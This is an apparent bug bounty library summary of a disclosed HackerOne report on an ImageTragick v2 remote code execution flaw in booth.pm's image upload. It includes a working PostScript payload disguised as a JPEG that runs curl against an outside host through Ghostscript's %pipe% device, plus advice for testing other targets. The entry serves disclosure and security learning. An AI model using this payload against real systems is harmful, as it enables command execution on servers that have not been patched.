# RCE due to ImageTragick v2

Ghostscript/ImageMagick ImageTragick v2 allowed RCE on booth.pm image upload via crafted PostScript payload executing curl through %pipe%.

- Payout: $2,000
- Severity: critical
- Program: pixiv
- Found by: chaosbolt
- Disclosed: 2021-03-16
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/402362
- Library page: https://bugbountylibrary.com/r/h1%3A402362
- Tags: area:web domain:web impact:rce kind:bounty platform:hackerone sev:critical tech:php technique:default-creds technique:recon vuln:file-upload vuln:rce

**Target:** ImageMagick/Ghostscript image processing on manage.booth.pm /design upload endpoint
**Root cause:** ImageMagick delegates PostScript/JPEG content to Ghostscript without policy restrictions, allowing the %pipe% OutputFile device to execute shell commands.
**Steps:**
1. Send `PATCH /design` to `manage.booth.pm` with multipart form field `shop[header]` filename `imagetragick.jpeg`
2. Set Content-Type `image/jpeg` but body is PostScript: `%!PS` with `userdict /setpagedevice undef`, `legal`, `{ null restore } stopped { pop } if`, `legal`
3. Include `mark /OutputFile (%pipe%curl https://avtohanter.ru/qwetest) currentdevice putdeviceprops`
4. Server processes image via ImageMagick/Ghostscript, executing the curl command
**How found:** Recognized the image processing pipeline was vulnerable to the known ImageTragick v2 Ghostscript RCE and crafted a PostScript payload disguised as a JPEG.
**Exploitation:** Upload crafted PostScript disguised as JPEG to the shop header field; Ghostscript's %pipe% device runs an arbitrary shell command (curl callback) as the web server user.
**Insight:** When an app accepts images, test whether ImageMagick delegates to Ghostscript by uploading PostScript content with a fake image Content-Type; the %pipe% OutputFile device yields command execution even on patched-for-v1 targets.

## Proof of concept (copied exactly from the original report)

**Ghostscript payload uploaded via PATCH /design**

```
------WebKitFormBoundaryXX05yrKS4g8d9CWh
Content-Disposition: form-data; name="shop[header]"; filename="imagetragick.jpeg"
Content-Type: image/jpeg

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl https://avtohanter.ru/qwetest) currentdevice putdeviceprops
------WebKitFormBoundaryXX05yrKS4g8d9CWh--
```

